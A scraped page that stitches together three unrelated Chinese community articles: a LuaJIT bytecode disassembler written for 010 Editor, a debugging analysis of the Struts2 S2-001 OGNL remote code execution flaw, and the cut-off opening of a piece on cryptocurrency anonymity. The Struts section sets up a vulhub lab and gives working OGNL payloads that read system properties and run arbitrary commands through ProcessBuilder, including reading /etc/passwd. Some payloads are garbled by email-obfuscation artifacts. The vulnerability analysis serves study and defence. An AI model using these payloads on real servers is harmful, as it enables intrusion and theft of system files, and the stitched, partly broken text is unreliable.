`Luajit`很多情况下需要与系统底层打交道，为了方便开发人员扩展与使用`Luajit`，在指令的设计细节上，`Luajit`官方提供了一份完整的指令参考文档。地址是：`http://wiki.luajit.org/Bytecode-2.0`。文档中详细说明了指令的编码格式与各条指令的含义。
首先是指令的编码，`Luajit`指令同样采用等长的32位，指令分为`Opcode`与操作数域两个部分，则每个域占用8字节，如下所示：
/* Bytecode instruction format, 32 bit wide, fields of 8 or 16 bit:
**
** +----+----+----+----+
** | B | C | A | OP | Format ABC
** +----+----+----+----+
** | D | A | OP | Format AD
** +-------------------- ** MSB LSB
**
** In-memory instructions are always stored in host byte order.
*/
这样做的好处显而易见，在处理32位指令数据时，对于每次只能处理8位的处理器来说，这种对齐后的优化，会减少处理器取指令时的运算周期，提高了指令的执行效率。`Luajit`只支持`ABC`与`AD`两种指令编码形式，其中，`A`、`B`、`C`各占8位，`D`占用16位。在编写解码程序时，代码部分比起`Luac`会简单许多。
### Luajit OpCode
根据定义规则，每条指令最多拥有3个操作数，最少拥有1个操作数。指令的定义可以在`Luajit`源码的lj_bc.h头文件中找到。指令的声明部分采用宏定义，片断如下：
#define BCDEF(_)
/* Comparison ops. ORDER OPR. */
_(ISLT, var, ___, var, lt)
_(ISGE, var, ___, var, lt)
_(ISLE, var, ___, var, le)
_(ISGT, var, ___, var, le)
......
_(FUNCF, rbase, ___, ___, ___)
_(IFUNCF, rbase, ___, ___, ___)
_(JFUNCF, rbase, ___, lit, ___)
_(FUNCV, rbase, ___, ___, ___)
_(IFUNCV, rbase, ___, ___, ___)
_(JFUNCV, rbase, ___, lit, ___)
_(FUNCC, rbase, ___, ___, ___)
_(FUNCCW, rbase, ___, ___, ___)
/* Bytecode opcode numbers. */
typedef enum {
#define BCENUM(name, ma, mb, mc, mt) BC_##name,
BCDEF(BCENUM)
#undef BCENUM
BC__MAX
} BCOp;
所有的指令都使用`BCOp`表示，`BCDEF(BCENUM)`经过宏展开后，会声明每一条`LuaJit`指令。从声明中可以看出，指令由以下五部分组成：
1. name。指令的名称，展开后指令名如`BC_ISLT`、`BC_ADDVV`。
2. ma。指令第一个操作数域，展开后是一个`BCMode`类型常量。
3. mb。指令第二个操作数域，展开后是一个`BCMode`类型常量。
4. mc。指令第三个操作数域，展开后是一个`BCMode`类型常量。
5. mt。指令的类型，展开后是一个一个`MMS`类型常量。
宏声明中的“`___`”展开后是`BCM___`，它被定义为`BCMnone`，即这个域为空，它是`BCMode`的一部分，稍后再讲。
指令列表中，有些指令有添加上一个或多个字符的后缀，来标识指令操作数的类型。它们的取值包括：
* V variable slot。变量槽。
* S string constant。字符串常量。
* N number constant。数值常量。
* P primitive type。原始类型。
* B unsigned byte literal。无符号字节字面量。
* M multiple arguments/results。多参数与返回值。
除了后缀外，部分指令还会有一些约定俗成的前缀，用来标识指令操作的目标数据的类型。例如：
* T table。表。
* F function。函数。
* U UpValue。上值。
* K constant。常量。
* G global。全局。
例如，指令`USETS`是为一个UpValue设置字符串值；指令`TGETV`是获取一个表结构中指定索引的数据。
### `BCMode`
`ma`、`mb`、`mc`展开后是一个`BCMode`类型常量。它们的定义如下：
typedef enum {
BCMnone=0,
BCMdst,
BCMbase,
BCMvar,
BCMrbase,
BCMuv,
BCMlit,
BCMlits,
BCMpri,
BCMnum,
BCMstr,
BCMtab,
BCMfunc,
BCMjump,
BCMcdata,
BCM_max
} BCMode;
当这3个标志的值都不为`BCMnone`时，表示当前指令使用三个操作数，例如`ADDVV`指令声明如下：
_(ADDVV, dst, var, var, add)
展开后，变成了：
BC_ADDVV, BCMdst, BCMvar, BCMvar, MM_add
即3个操作数都有用到，对于指令0xbbccaa1e，解析它可得知，最低8位0x1e表示为`ADDVV`指令，并且操作数A = 0xaa，B = 0xbb，C
= 0xcc。
对于少于3个操作数的情况，即`ma`、`mb`、`mc`中有1个或2个被设置成`BCMnone`，这种情况即为`AD`模式，如果只有一个操作数，则取A部分即可，如果有两个操作数，则取指令高16位为`CD`作为指令的第二个操作数。如指令0x10047，0x47表示它为`RET0`指令，它的指令声明如下：
_(RET0, rbase, ___, lit, ___)
可见，其`mb`为`BCMnone`，，表示第二个操作数不占位，即第三个操作数可以与第二合并为`CD`。此时，第一个参数值A取值为0，第（二/三）个参数CD取值为1，即解析后的指令格式为“`RET0
0 1`”。
### `MMS`
`MMS`为指令的类型，它在`Luajit`源码的lj_obj.h头文件中通过宏定义为如下：
#define MMDEF(_)
_(index) _(newindex) _(gc) _(mode) _(eq) _(len)
/* Only the above (fast) metamethods are negative cached (max. 8). */
_(lt) _(le) _(concat) _(call)
/* The following must be in ORDER ARITH. */
_(add) _(sub) _(mul) _(div) _(mod) _(pow) _(unm)
/* The following are used in the standard libraries. */
_(metatable) _(tostring) MMDEF_FFI(_) MMDEF_PAIRS(_)
typedef enum {
#define MMENUM(name) MM_##name,
MMDEF(MMENUM)
#undef MMENUM
MM__MAX,
MM____ = MM__MAX,
MM_FAST = MM_len
} MMS;
展开后，定义如下：
typedef enum<uchar> {
MM_index=0, MM_newindex, MM_gc, MM_mode, MM_eq, MM_len,
MM_lt, MM_le, MM_concat, MM_call,
MM_add, MM_sub, MM_mul, MM_div, MM_mod, MM_pow, MM_unm,
MM_metatable, MM_tostring, MM_new, MM_pairs, MM_ipairs,
MM__MAX,
MM____ = MM__MAX,
MM_FAST = MM_len
} MMS;
它们的主要作用是将指令归类，辅助`Luajit`内部执行与调试时使用，对于指令的格式并没有影响，这里不再展开。
### `lj_bc_mode`
`Luajit`将所有的指令模式`BCMode`与`MMS`组合，生成了一张表，它就是`lj_bc_mode`。这张表与`Luac`中的`luaP_opmodes`一样，主要用于辅助指令的解析工作。`lj_bc_mode`的定义是通过builddvm_lib.c中的`emit_lib()`函数执行宏展开的，当`ctx->mode`被定义为`BUILD_bcdef`时，会执行如下片断代码：
int i;
fprintf(ctx->fp, "n};nn");
fprintf(ctx->fp, "LJ_DATADEF const uint16_t lj_bc_mode[] = {n");
fprintf(ctx->fp, "BCDEF(BCMODE)n");
for (i = ffasmfunc-1; i > 0; i--)
fprintf(ctx->fp, "BCMODE_FF,n");
fprintf(ctx->fp, "BCMODE_FFn};nn");
整个核心的开展由`BCDEF(BCMODE)`完成。展开后的代码片断如下：
const uint16_t lj_bc_mode[] = {(BCMvar|(BCMnone<<3)|(BCMvar<<7)|(MM_lt<<11)), (BCMvar|(BCMnone<<3)|(BCMvar<<7)|(MM_lt<<11)), (BCMvar|(BCMnone<<3)|(BCMvar<<7)|(MM_le<<11)), (BCMvar|(BCMnone<<3)|
......
这是一个被定义为每项大小为uint16_t类型，个数为93的数组。可以手工的计算它们生成的值。以`ADDVV`为例，计算如下：
_(ADDVV, dst, var, var, add)
BCMdst BCMvar BCMvar add
(0x1) | (0x3 << 3) | (0x3 << 7) | (0xA << 11)
>>> Result = 20889 [5199h]
当然，也可以使用代码将它们的值打印出来，如下所示：
size_t sz = sizeof(lj_bc_mode) / sizeof(uint16_t);
for (size_t i=0; i<sz; i++) {
std::cout << "idx:" << std::dec << i << ": 0x"
<< std::hex << lj_bc_mode[i]
<< std::endl;
}
输出如下：
idx:0: 0x3183
idx:1: 0x3183
idx:2: 0x3983
idx:3: 0x3983
idx:4: 0x2183
idx:5: 0x2183
idx:6: 0x2503
......
idx:88: 0xb004
idx:89: 0xb004
idx:90: 0xb304
idx:91: 0xb004
idx:92: 0xb004
可以看到，与它们的格式相关，输出的效果与`Luac`中的`luaP_opmodes`一样，会有很多的项的值是相同的。
## 反汇编引擎实现
`Luajit`的安装目录下的share/luajit-2.0.5/jit目录中的bc.lua文件为`Luajit`提供的反汇编模块，可以使用它来完成`Luajit`字节码文件的反汇编工作。执行如下命令，可以查看hello.lua的指令信息：
$ luajit -jbc ./hello.lua
-- BYTECODE -- hello.lua:2-4
0001 ADDVV 2 0 1
0002 RET1 2 2
-- BYTECODE -- hello.lua:5-7
0001 GGET 0 0 ; "print"
0002 KSTR 1 1 ; "welcome to lua world "
0003 CALL 0 1 2
0004 RET0 0 1
-- BYTECODE -- hello.lua:9-11
0001 GGET 1 0 ; "print"
0002 KSTR 2 1 ; "The string you input is "
0003 MOV 3 0
0004 CAT 2 2 3
0005 CALL 1 1 2
0006 RET0 0 1
-- BYTECODE -- hello.lua:0-14
0001 FNEW 0 0 ; hello.lua:2
0002 GSET 0 1 ; "add"
0003 FNEW 0 2 ; hello.lua:5
0004 GSET 0 3 ; "showinfo"
0005 FNEW 0 4 ; hello.lua:9
0006 GSET 0 5 ; "showstr"
0007 KSHORT 0 6
0008 KSHORT 1 1
0009 UCLO 0 => 0010
0010 => RET1 1 2
当然，也可以使用它直接反汇编`Lua`代码生成指令信息，如下所示：
$ luajit -jbc -e 'local x=0; for i=1,1e6 do x=x+i end; print(x)'
-- BYTECODE -- (command line):0-1
0001 KSHORT 0 0
0002 KSHORT 1 1
0003 KNUM 2 0 ; 1000000
0004 KSHORT 3 1
0005 FORI 1 => 0008
0006 => ADDVV 0 0 4
0007 FORL 1 => 0006
0008 => GGET 1 0 ; "print"
0009 MOV 2 0
0010 CALL 1 1 2
0011 RET0 0 1
如果要查看已经生成的hello.luajit的指令信息，可以使用`Luajit`的-bl参数，执行如下命令，与上面`luajit -jbc`的输出是一样的：
$ luajit -bl ./hello.lua
bc.lua中提供了`bcline()`反汇编引擎来实现指令的反汇编，它基于`lj_bc_mode`返回的指令`BCMode`来生成`ma`、`mb`与`mc`，但没有经过移位处理，如果没`Luajit`的指令格式不太熟悉，可能不能马上理解它的含义。当然，编写指令解析时，也可以直接本地定义一份指令Opcode与模式之前的表，解析时不需要用到`lj_bc_mode`，并且解析速度更快，反汇编工具`ljd`就是这么干的。下面，我们为`010
Editor`编写反汇编引擎时，由于模板语法的限制，最终选择了结合它们两种的处理方法。
编写基本的Luajit.bt功能之前已经实现，这里主要集中在反汇编引擎`InstructionRead()`的实现上，由于指令中需要用到当前指令地址`pc`以及指令中访问同级常量表中的信息，因此，对Luajit.bt进行了之前Luac.bt一样的重构，将当前`Proto`中所有的指令`Instruction`封装成`Instructions`，然后内联声明到`Proto`中，如下所示：
typedef struct {
ProtoHeader header;
typedef struct(int inst_count) {
local int pc = 1;
local int inst_count_ = inst_count;
while (inst_count_-- > 0) {
Instruction inst(pc);
pc++;
}
} Instructions;
if (uleb128_value(header.size) > 0) {
if (uleb128_value(header.instructions_count) > 0)
local int inst_count = uleb128_value(header.instructions_count);
Instructions insts(inst_count);
if ((header.upvalues_count == 0) && (uleb128_value(header.complex_constants_count) == 0) && (uleb128_value(header.numeric_constants_count) == 0)) {
} else {
Constants constants(header.upvalues_count, uleb128_value(header.complex_constants_count), uleb128_value(header.numeric_constants_count));
}
if (header.debuginfo_size_ > 0)
DebugInfo debuginfo(uleb128_value(header.first_line_number), uleb128_value(header.lines_count), uleb128_value(header.instructions_count), header.debuginfo_size_, header.upvalues_count);
local int64 end = FTell();
if (uleb128_value(header.size) != end - header.start) {
Warning("Incorrectly read: from 0x%lx to 0x%lx (0x%lx) instead of 0x%lxn", header.start, end, end - header.start, uleb128_value(header.size));
}
}
} Proto <optimize=false>;
这样做之后，可以通过`parentof(parentof(inst))`访问到指令所在的`Proto`信息，进行获取`Proto`中其他字段的信息。
反汇编引擎的实现分为以下几步：
1. 获取指令`BCOp`，解析不同的指令。
2. 解析与处理指令的参数，这里通过`BCMode`来完成。
3. 字符串与跳转处理。达到更好的反汇编输出效果。
4. 输出指令`BCOp`与操作数，完成指令反汇编引擎。
### 指令`BCOp`解析
解析指令的`BCOp`很简单，只需要取指令的最低8位即可，获取指令`BCOp`只需要如下一行代码：
local INSTRUCTION_OPCODES op = (INSTRUCTION_OPCODES)codeword & 0xff;
这里的`INSTRUCTION_OPCODES`为声先声明好的指令枚举类型。获取指令`BCOp`后，需要处理指令的参数。`010
Editor`模板不支持定义的本地数组结构直接赋值，因此，只能声明一个数组后，一行行的赋值，比较尴尬，代码片断如下：
local uint16 modes[93];
void init_modes() {
modes[0] = 0x3183;
modes[1] = 0x3183;
modes[2] = 0x3983;
......
modes[91] = 0xb004;
modes[92] = 0xb004;
}
`init_modes()`需要在模板最外层，`Luajit lj;`声明前调用一次。然后在代码中就可以访问每一条指令对应的Mode了，编写代码如下：
uint16 get_mode(INSTRUCTION_OPCODES op) {
return modes[op];
}
BCMode get_mode_a(INSTRUCTION_OPCODES op) {
return get_mode(op) & 7;
}
BCMode get_mode_b(INSTRUCTION_OPCODES op) {
return (get_mode(op) >> 3) & 15;
}
BCMode get_mode_c(INSTRUCTION_OPCODES op) {
return (get_mode(op) >> 7) & 15;
}
### 参数处理
参数的处理不难，根据前面分析的规则，通过`ma`、`mb`、`mc`的值即可完成。首先，需要判断参数的个数是否为3个，然后，通过它来确定是`ABC`还是`AD`模式，代码如下：
int get_args_count(INSTRUCTION_OPCODES op) {
local int count = 0;
local BCMode ma = get_mode_a(op);
local BCMode mb = get_mode_b(op);
local BCMode mc = get_mode_c(op);
if (ma != BCMnone)
count++;
if (mb != BCMnone)
count++;
if (mc != BCMnone)
count++;
return count;
}
获取参数个数后，就可以设置`A`、`B`、`CD`的值了。代码片断如下：
local int args_count = get_args_count(op);
local int A=0, B=0, CD=0;
if (args_count == 3) {
A = (codeword >> 8) & 0xFF;
CD = (codeword >> 16) & 0xFF;
B = (codeword >> 24) & 0xFF;
} else {
A = (codeword >> 8) & 0xFF;
CD = (codeword >> 16) & 0xFFFF;
}
### 字符串与跳转处理
获取了`A`、`B`、`CD`的值后，并不能直接输出反汇编，因为，针对不同类型的指令操作数，它的取值可能需要进行处理。例如对于`BCMstr`、`BCMtab`、`BCMfunc`、`BCMcdata`类型的操作数，它表示的是一个`ComplexConstant`的索引值，需要到指令所在的`Proto`的`ComplexConstant`中取数据，而且取数据的索引值与需要从`ComplexConstant`表相反的方向进行获取，即如下的代码所示：
local int idx = complex_constants_count - operand - 1;
还有，针对`BCMjump`类型的操作数，它跳转的地址计算方法是当前操作数的值加上当前指令`pc`减去0xFFFF。
终上所述，可以写出指令操作数处理函数`process_operand()`，代码如下：
string process_operand(Instruction &inst, int complex_constants_count, BCMode operand_type, int operand, int pc) {
local string str;
if ((operand_type == BCMstr) ||
(operand_type == BCMtab) ||
(operand_type == BCMfunc) ||
(operand_type == BCMcdata)) {
local int idx = complex_constants_count - operand - 1;
SPrintf(str, "%d ; %s", idx, get_data_from_constants(inst, idx));
} else if (operand_type == BCMjump) {
SPrintf(str, "==> %04d", operand + pc - 0x7FFF);
} else {
SPrintf(str, "%d", operand);
}
return str;
}
`get_data_from_constants()`的代码如下：
string get_data_from_constants(Instruction &inst, int idx) {
local string str = ComplexConstantRead(parentof(parentof(inst)).constants.constant[idx]);
if (str == "BCDUMP_KGC_CHILD")
return "0";
else
return str;
}
`complex_constants_count`与`inst`一起作为参数传递，而不是在`process_operand()`中计算获取，是因为该方法会被多次调用，这样做可以提高代码执行效率。
### 完成指令反汇编引擎
最终，完成指令的反汇编引擎代码如下：
string InstructionRead(Instruction &inst) {
local uint32 codeword = inst.inst;
local INSTRUCTION_OPCODES op = (INSTRUCTION_OPCODES)codeword & 0xff;
local uint16 mode = get_mode(op);
local BCMode ma = get_mode_a(op);
local BCMode mb = get_mode_b(op);
local BCMode mc = get_mode_c(op);
local int args_count = get_args_count(op);
local int A=0, B=0, CD=0;
if (args_count == 3) {
A = (codeword >> 8) & 0xFF;
CD = (codeword >> 16) & 0xFF;
B = (codeword >> 24) & 0xFF;
} else {
A = (codeword >> 8) & 0xFF;
CD = (codeword >> 16) & 0xFFFF;
}
local int complex_constants_count = uleb128_value(parentof(parentof(inst)).header.complex_constants_count);
local string tmp;
SPrintf(tmp, "%04d ", inst.pc_);
local string line = tmp + EnumToString(op);
if (ma != BCMnone) {
SPrintf(tmp, "%s", process_operand(inst, complex_constants_count, ma, A, inst.pc_));
line += " " + tmp;
}
if (mb != BCMnone) {
SPrintf(tmp, "%s", process_operand(inst, complex_constants_count, mb, B, inst.pc_));
line += " " + tmp;
}
if (mc != BCMnone) {
SPrintf(tmp, "%s", process_operand(inst, complex_constants_count, mc, CD, inst.pc_));
line += " " + tmp;
}
return line;
}
使用`010 Editor`打开hello.luajit，并加载编写好的模板，效果如图所示：
完整的luajit.bt文件可以在这里找到：<https://github.com/feicong/lua_re>。 | 社区文章 |
# Struts2-001 远程代码执行漏洞浅析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、原理
### （一）概述
搭建环境后，查看[参考link](https://struts.apache.org/docs/s2-001.html)，可了解相关信息。
读者人群 | 所有Struts 2 开发者
---|---
漏洞影响 | 远程代码执行
影响程度 | 重大
影响软件 | WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 – WebWork 2.2.5,
Struts 2.0.0 – Struts 2.0.8
### （二）原理
漏洞的产生在于WebWork 2.1 和Struts 2的’altSyntax’配置允许OGNL
表达式被插入到文本字符串中并被递归处理（Struts2框架使用OGNL作为默认的表达式语言，OGNL是一种表达式语言，目的是为了在不能写Java代码的地方执行java代码；主要作用是用来存数据和取数据的）。这就导致恶意用户可以提交一个字符串（通常通过HTML的text字段），该字符串包含一个OGNL表达式，在表单验证失败后，此表达式会被server执行。例如，下面的表单默认不允许’phoneNumber’字段为空。
<s:form action="editUser">
<s:textfield name="name" />
<s:textfield name="phoneNumber" />
</s:form>
此时，恶意用户可以将phoneNumber字段置空以触发验证错误，再控制name字段的值为
%{1+1}。当表单被重新展示给用户时，name字段的值将为2。产生这种情况的原因是这个字段默认被当作%{name}处理，由于OGNL表达式被递归处理，处理的效果等同于%{%{1+1}}。实际上，相关的OGNL解析代码在XWork组件中，并不在WebWork
2或Struts 2内。
用户提交表单数据并且验证失败时，后端会将用户之前提交的参数值使用 OGNL 表达式 %{value}
进行解析，然后重新填充到对应的表单数据中。例如注册或登录页面，提交失败后端一般会默认返回之前提交的数据，由于后端使用 %{value}
对提交的数据执行了一次 OGNL 表达式解析，所以可以构造 payload 进行命令执行。
提交表单并验证失败时，由于Strust2默认会原样返回用户输入的值而且不会跳转到新的页面，因此当返回用户输入的值并进行标签解析时，如果开启了altSyntax，会调用translateVariables方法对标签中表单名进行OGNL表达式递归解析返回ValueStack值栈中同名属性的值。因此我们可以构造特定的表单值让其进行OGNL表达式解析从而达到任意代码执行。
## 二、调试
### （一）环境搭建
使用vulhub/struts2/s2-001
docker-compose build
docker-compose up -d
为了动态调试，我们将IDEA中默认生成的这句话append到 Tomcat 的 bin 目录下的`catalina.sh`文件（如果是 Windows
系统则修改`catalina.bat`文件），
export JAVA_OPTS='-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8001'
原docker-compose.yml修改如下，
version: '2'
services:
tomcat:
build: .
ports:
- "8080:8080"
- "8001:8001"
environment:
TZ: Asia/Shanghai
JPDA_ADDRESS: 8001
JPDA_TRANSPORT: dt_socket
command: ["catalina.sh", "jpda", "run"]
networks:
- default
调用栈将`docker-compose down`之后再`docker-compose up -d`，即可正常使用idea调试。
接下来将webapps/ROOT/WEB-INF下的lib和classes都加入idea的lib。
### （二）复现
环境搭建完毕后访问[http://xxxx:8080/查看结果，](http://xxxx:8080/%E6%9F%A5%E7%9C%8B%E7%BB%93%E6%9E%9C%EF%BC%8C)
其中的password存在漏洞，用户提交表单数据并且验证失败时，后端会将用户之前提交的参数值使用 OGNL 表达式 %{value}
进行解析，然后重新填充到对应的表单数据中。
在translateVariables方法中，递归解析表达式，在处理完%{password}后将password的值直接取出并继续在while循环中解析，若用户输入的password是恶意的ognl表达式，则得以解析执行。
按照vulhub的提示，我们可以使用如下命令获取tomcat执行路径：
%{"tomcatBinDir{"[email protected]@getProperty("user.dir")+"}"}
重新渲染后，password字段已经变为执行结果。
相应的可以执行其他命令，这里不过多展示。
获取Web路径：
%{#[email protected]@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
执行任意命令（命令加参数：`new java.lang.String[]{"cat","/etc/passwd"}`）：
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
### （三）调试
[Struts运行流程](https://www.jianshu.com/p/99705a8ad3c3)如下：
**1.用户发出请求**
Tomcat接收请求，并选择处理该请求的Web应用。
**2.web容器去相应工程的web.xml**
在web.xml中进行匹配，确定是由struts2的过滤器FilterDispatcher(StrutsPrepareAndExecuteFilter)来处理，找到该过滤器的实例(初始化)。
**3.找到FilterDispatcher,回调doFilter()**
通常情况下，web.xml文件中还有其他过滤器时，FilterDispatcher是放在滤器链的最后；如果在FilterDispatcher前出现了如SiteMesh这种特殊的过滤器，还必须在SiteMesh前引用Struts2的ActionContextCleanUp过滤器。
**4.FilterDispatcher将请求转发给ActionMapper**
ActionMapper负责识别当前的请求是否需要Struts2做出处理。
**5.ActionMapper告诉FilterDispatcher，需要处理这个请求，建立ActionProxy**
FilterDispatcher会停止过滤器链以后的部分，所以通常情况下：FilterDispatcher应该出现在过滤器链的最后。然后建立一个ActionProxy对象，这个对象作为Action与xwork之间的中间层，会代理Action的运行过程.
**6.ActionProxy询问ConfigurationManager,读取Struts.xml**
ActionProxy对象询问ConfigurationManager问要运行哪个Action。ConfigurationManager负责读取并管理struts.xml的（可以理解为ConfigurationManager是struts.xml在内存中的映像）。在服务器启动的时候，ConfigurationManager会一次性的把struts.xml中的所有信息读到内存里，并缓存起来，以保证ActionProxy拿着来访的URL向他询问要运行哪个Action的时候，就可以直接查询。
**7.ActionProxy建立ActionInvocation对象**
ActionProxy获取了要运行的Action、相关的拦截器以及所有可能使用的result信息，开始建立ActionInvocation对象，ActionInvocation对象描述了Action运行的整个过程。
**8.在execute()之前的拦截器**
在execute()之前会执行很多默认的拦截器。拦截器的运行被分成两部分，一部分在Action之前运行，一部分在Result之后运行，且顺序是相反的。如在Action执行前的顺序是拦截器1、拦截器2、拦截器3，那么运行Result之后，再次运行拦截器的时候，顺序就是拦截器3、拦截器2、拦截器1。
**9.执行execute()方法**
**10.根据execute方法返回的结果，也就是Result，在struts.xml中匹配选择下一个页面**
**11.找到模版页面,根据标签库生成最终页面**
**12.在execute()之后执行的拦截器,和8相反**
**13.ActionInvocation对象执行完毕**
这时候已经得到了HttpServletResponse对象了,按照配置定义相反的顺序再经过一次过滤器,向客户端展示结果。
**1.正常解析部分**
前半部分调用栈如下，
translateVariables:119, TextParseUtil (com.opensymphony.xwork2.util)
translateVariables:71, TextParseUtil (com.opensymphony.xwork2.util)
findValue:313, Component (org.apache.struts2.components)
evaluateParams:723, UIBean (org.apache.struts2.components)
end:481, UIBean (org.apache.struts2.components)
doEndTag:43, ComponentTagSupport (org.apache.struts2.views.jsp)
_jspx_meth_s_005ftextfield_005f1:16, index_jsp (org.apache.jsp)
_jspx_meth_s_005fform_005f0:16, index_jsp (org.apache.jsp)
_jspService:14, index_jsp (org.apache.jsp)
service:70, HttpJspBase (org.apache.jasper.runtime)
service:742, HttpServlet (javax.servlet.http)
...
发送请求，FilterDispatcher.doFilter被触发，这其中调用FilterDispatcher.serviceAction，
invokeAction调用了action（LoginAction）的method（execute），
继续运行，断在LoginAction.execute()，
显然，username不为admin，表单验证失败，此时Strust2默认会调用translateVariables方法对标签中表单名进行OGNL表达式递归解析返回ValueStack值栈中同名属性的值。
中间有若干底层流程，略过，我们直接在doStartTag()下断，
本函数的功能是开始解析标签，
继续向下，开始加载第一个TextField，
接下来如果配置正确（我反正没有配置正确😥，只能看到下图），应该会进入jsp页面中，便可以清晰的看到jsp页面被逐标签解析。
当加载到`/>`时，会进入doEndTag()函数，从名字可以判断，此函数的功能大概是完成对一个标签的解析，因为调试时payload放在了password里面，因而此处对于username的解析不过展示。
此时前面的tag已经被展示出来，未进入doStartTag的password字段没有显示。
接下来我们快进到第二个TextField（password）的doEndTag()。
跟进this.component.end()，进入了`org.apache.struts2.components.UIBean#end`，
跟进this.evaluateParams();，
快进到this.altSyntax()处，
前面提到，altSyntax默认是开启的，接下来的expr显而易见为%{password}，
跟进this.findValue(expr, valueClazz)，
由前面可知，TextField 的valueClassType为class java.lang.String，且altSyntax默认开启，
因此将会进入TextParseUtil.translateVariables(‘%’, expr, this.stack);，
步入，进入translateVariables，
二级步入，将进入调试的主体部分`translateVariables(char open, String expression, ValueStack
stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator)`，
此处传入的expression为%{password}，
接下来的while循环的目的是确定start和end的位置，
此处显然不会进入if，
接下来，取出%{}表达式中的值，赋值给var，
然后调用`stack.findValue(var,
asType)`，由前面可知，此处的stack为`OgnlValueStack`，`OgnlValueStack`是[ValueStack](https://blog.csdn.net/qq_44757034/article/details/106838688)的实现类。
valueStack是struts2的值栈空间，是struts2存储数据的空间，是一个接口，struts2使用OGNL表达式实际上是使用实现了ValueStack接口的类OgnlValueStack（它是ValueStack的默认实现类）。
客户端发起一个请求时，struts2会创建一个Action实例同时创建一个OgnlValueStack值栈实例，OgnlValueStack贯穿整个Action的生命周期。Struts2中使用OGNL将请求Action的参数封装为对象存储到值栈中，并通过OGNL表达式读取值栈中的对象属性值。
ValueStack中有两个主要区域
* CompoundRoot 区域：是一个ArrayList，存储了Action实例，它作为OgnlContext的Root对象。获取root数据不需要加`#`
* context 区域：即OgnlContext上下文，是一个Map，放置web开发常用的对象数据的引用。request、session、parameters、application等。获取context数据需要加#
操作值栈，通常指的是操作ValueStack中的root区域。
ValueStack类的setValue和findValue方法可以设置和获得Action对象的属性值。OgnlValueStack的findValue方法可以在CompoundRoot中从栈顶向栈底找查找对象的属性值。
跟进findValue()，
由函数名可以推测， 这一函数的功能是查找expr对应的值，且此函数最终要`return
value`，我们可以大胆设想，value变量是本函数的重点，如此，则需要重点关注对value进行操作的函数OgnlUtil.getValue，
跟进，
compile对’password’进行解析，返回了适用的结果。
接下来跟进Ognl.getValue，看起来此函数会结合root和context进行value的获取。
显然，这里我们要关注的是result变量，这就需要跟进((Node)tree).getValue(ognlContext, root)。
显然会进入下面的else分支，
跟进之，
看起来，经历了若干级的调用，最终有效的是this.getValueBody(context, source)，
跟进，可以看到再向下跟进最终是将password字段的值加载了进来。
不再深入跟进了，感觉好像没什么意义了😤，此时单单getValue的调用栈已经有几层了。
getProperty:1643, OgnlRuntime (ognl)getValueBody:92, ASTProperty (ognl)evaluateGetValueBody:170, SimpleNode (ognl)getValue:210, SimpleNode (ognl)getValue:333, Ognl (ognl)getValue:194, OgnlUtil (com.opensymphony.xwork2.util)findValue:238, OgnlValueStack (com.opensymphony.xwork2.util)
接下来步出几层，回到translateVariables:122, TextParseUtil
(com.opensymphony.xwork2.util)，
接下来经过拼接操作，expression被赋值，
**2.递归解析部分**
我们观察到，此while循环只有一个出口，那就是if (start == -1 || end == -1 || count !=
0)，因此这里进行完expression的赋值后，会开启新的一轮while。
这里我们可以看出，translateVariables无意之间递归解析了表达式，我们的password字段放置了`%{"tomcatBinDir{"+[@java](https://github.com/java
"@java").lang.System[@getProperty](https://github.com/getProperty
"@getProperty")("user.dir")+"}"}`这样一个包含`%{expression}`的字符串，%{password}的结果将再次被当作expression解析，就可能造成恶意ognl表达式的执行。
此次循环中，进入findValue的var是去掉前两个字符的expression，也就是`tomcatBinDir{"+[@java](https://github.com/java
"@java").lang.System[@getProperty](https://github.com/getProperty
"@getProperty")("user.dir")+"}`。
接下来跟进findValue()，这里的流程和上面是一样的，重点应该还是跟进OgnlUtil.getValue，
和刚才相同的流程，深入跟进至evaluateGetValueBody:170, SimpleNode (ognl)
getValue:210, SimpleNode (ognl)，
跟进，
在对于第一行的getValue()进行跟进几层之后，经过了一些表达式执行的操作，得到了result的第一部分。
接下来的for循环，会继续执行完整表达式`%{"tomcatBinDir{"+[@java](https://github.com/java
"@java").lang.System[@getProperty](https://github.com/getProperty
"@getProperty")("user.dir")+"}"}`的其他部分。
深入跟进时，发生了一些有趣的事情，
这里调用了System.getProperty()，实际上实现了代码执行。
回到getValueBody，此时result已经被add上了新的一部分，
各部分add之后，最终的result如下。
逐级步出，回到TextParseUtil.translateVariables，expression被拼接为tomcatBinDir{/usr/local/tomcat}，开启一个新的循环。
但是此时，open为%，expression.indexOf(open + “{“)为-1，而start为-1时，将会return。
简单跟进一下，
可以猜测，这里是将Object类型的o转化为普通的字符串。
接下来简单步出，可将流程结束。
## 三、收获与启示
借助学习和调试，了解了Struts2的运转流程，简单学习了OGNL表达式，增强了分析能力。
参考链接
<https://blog.csdn.net/qq_37602797/article/details/108121783>
<http://wechat.doonsec.com/article/?id=308b4bab7df3ecdb3bdda6fe1e026ac6>
<https://blog.csdn.net/qq_43571759/article/details/105122443>
<https://blog.csdn.net/Auuuuuuuu/article/details/86775808>
<https://blog.csdn.net/weixin_44508748/article/details/105472482>
<https://cloud.tencent.com/developer/article/1598043>
<https://www.jianshu.com/p/99705a8ad3c3>
<https://blog.csdn.net/yu102655/article/details/52179695>
<https://www.cnblogs.com/kuoAT/p/6527981.html>
<https://blog.csdn.net/qq_44757034/article/details/106838688> | 社区文章 |
### 一、引言
提及区块链我们不得不想到“币圈”的那些事情。而提到数字货币我们又不得不感叹一下数字货币的优点之一——匿名性。对此，我从一下四个点进行切入，逐一为大家介绍“币圈”里关于“匿名”的是是非非。欢迎大家与我留言讨论！
* 比特币的匿名性
* 关于匿名性的CoinJoin方案
* Zcash中的匿名性
* 我们所未曾熟悉的“门罗币”
